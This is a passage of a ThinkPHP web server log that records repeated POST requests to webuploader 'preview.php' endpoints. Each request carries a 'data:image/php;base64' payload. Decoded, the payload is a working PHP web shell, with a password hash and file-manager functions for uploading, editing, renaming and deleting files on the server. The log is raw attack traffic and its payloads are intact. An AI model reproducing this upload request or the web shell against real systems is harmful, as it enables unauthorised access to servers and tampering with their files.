b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.5', 'server' => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:12+08:00 ] 119.42.146.234 POST 59.110.137.245/public/static/libs/webuploader/0.1.5/server/preview.php [运行时间:0.002384s] [吞吐率:419.47req/s] [内存消耗:160.78kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'public', 2 => 'static', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2Rl' => '', 'libs' => 'webuploader', 0 => 'server', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-10-23T09:07:16+08:00 ] 119.42.146.234 POST 59.110.137.245/Public/admin/lib/webuploader/0.1.15/server/preview.php [运行时间:0.002884s] [吞吐率:346.72req/s] [内存消耗:196.75kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'admin', ), ) [ info ] [ HEADER ] array ( 'host' => '59.110.137.245', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7D